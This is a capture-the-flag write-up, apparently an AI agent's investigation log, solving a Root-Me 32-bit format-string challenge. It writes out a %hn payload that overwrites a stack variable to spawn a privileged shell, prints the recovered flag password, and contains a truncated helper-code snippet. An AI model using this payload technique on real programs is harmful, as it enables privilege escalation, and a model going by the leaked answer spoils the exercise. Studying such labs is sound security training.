* ELF x86 - Format string bug basic 2 Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt Aufgabe Einstellungen der Umgebung PIE Position Independent Executable pas_valide.svg?1566650180 RelRO Read Only relocations pas_valide.svg?1566650180 NX Non-Executable Stack valide.svg?1566650190 Heap exec Non-Executable Heap valide.svg?1566650190 ASLR Address Space Layout Randomization pas_valide.svg?1566650180 SF Source Fortification pas_valide.svg?1566650180 SSP Stack-Smashing Protection valide.svg?1566650190 SRC Zugriff auf den Source code valide.svg?1566650190 Quellcode #+begin_src C #include #include #include #include int main( int argc, char ** argv ) { int var; int check = 0x04030201; char fmt[128]; if (argc <2) exit(0); memset( fmt, 0, sizeof(fmt) ); printf( "check at 0x%x\n", &check ); printf( "argv[1] = [%s]\n", argv[1] ); snprintf( fmt, sizeof(fmt), argv[1] ); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way !\n"); printf( "fmt=[%s]\n", fmt ); printf( "check=0x%x\n", check ); if (check==0xdeadbeef) { printf("Yeah dude ! You win !\n"); setreuid(geteuid(), geteuid()); system("/bin/bash"); } } #+end_src Zugangsdaten für die Übung #+begin_quote Host challenge02.root-me.org Protokoll SSH Port 2222 Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org Benutzername app-systeme-ch14 Passwort app-systeme-ch14 #+end_quote * Investigation Log ** Downloaded challenge files Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=. Makefile confirms build flags: - =-m32 -no-pie= - =-z noexecstack= This matches challenge metadata: no PIE, NX enabled, no ASLR on target. ** Vulnerability The bug is here: #+begin_src c snprintf(fmt, sizeof(fmt), argv[1]); #+end_src =argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory. Target variable: #+begin_src c int check = 0x04030201; ... if (check == 0xdeadbeef) { system("/bin/bash"); } #+end_src ** Stack argument offset discovery Bruteforce payload: =AAAA.%$x=. Result: at offset =9= we get =41414141=. So first 4 bytes of our payload are interpreted as argument 9. ** Write strategy Need to write =0xdeadbeef= into =check=. Used two half-word writes with =%hn=: - lower half (addr): =0xbeef= (=48879=) - upper half (addr+2): =0xdead= (=57005=) Payload layout: - 4 bytes: =p32(check_addr)= - 4 bytes: =p32(check_addr+2)= - format tail: =%11$48871x%9$hn%12$8126x%10$hn= Why those paddings: - first 8 bytes already count as printed characters - 48871 + 8 = 48879 (0xbeef) -> first =%hn= - 8126 more chars -> 57005 (0xdead) -> second =%hn= ** Address behavior and PTY note =check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions. For reliable exploit: - probe =check= address with same payload length and PTY mode - immediately run exploit in PTY mode Observed stable PTY probe address: =0xbffffb88=. ** Successful exploitation Exploit output: - =check=0xdeadbeef= - =Yeah dude ! You win != - effective uid switched to =app-systeme-ch14-cracked= Recovered password: #+begin_quote 1l1k3p0Rn&P0pC0rn #+end_quote * Helper Scripts - =scripts/find_offset.py=: brute-force the format-string stack offset. - =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=. ** Note: exploit implementation without struct.pack The exploit script no longer uses =struct.pack(" bytes: value &= 0xFFFFFFFF return bytes(( value & 0xFF, (value >> 8) & 0xFF, (value >> 16) & 0xFF, (value >> 24) & 0xFF, )) #+end_src This produces the same 4-byte layout as =struct.pack(" bytes =88 fb ff bf= - =0xbffffb8a= -> bytes =8a fb ff bf= So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=. * Solution Explanation 1) Identify the bug The program calls: #+begin_src c snprintf(fmt, sizeof(fmt), argv[1]); #+end_src User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=). 2) Define the win condition The shell is spawned only if: #+begin_src c if (check == 0xdeadbeef) { setreuid(geteuid(), geteuid()); system("/bin/bash"); } #+end_src So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=. 3) Find where our bytes land in variadic arguments Using marker payloads like =AAAA.%$x=, we detect when =41414141= appears. Observed offset: =9=. Meaning: - bytes 0..3 of payload are read as argument 9 - bytes 4..7 of payload are read as argument 10 4) Choose a safe write primitive Writing full 32-bit with one =%n= is possible but impractical due to huge padding. Use two half-word writes with =%hn=: - write lower 16 bits (=0xbeef=) to =check= - write upper 16 bits (=0xdead=) to =check+2= 5) Build the payload Payload bytes: - first 4 bytes: little-endian address of =check= - next 4 bytes: little-endian address of =check+2= - then format tail: =%11$48871x%9$hn%12$8126x%10$hn= Padding math: - 8 raw address bytes are already counted as printed chars - need first total count =48879= (=0xbeef=): print =48871= extra chars - after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars 6) Handle runtime detail (PTY stability) The stack address printed for =check= is stable only for the same invocation style. PTY vs non-PTY shifts addresses. Reliable method: - probe address in PTY mode with same payload length - exploit immediately in PTY mode with same layout 7) Confirm success Successful run shows: - =check=0xdeadbeef= - =Yeah dude ! You win != - effective identity =app-systeme-ch14-cracked= - readable flag/password file =.passwd= Recovered password: #+begin_quote 1l1k3p0Rn&P0pC0rn #+end_quote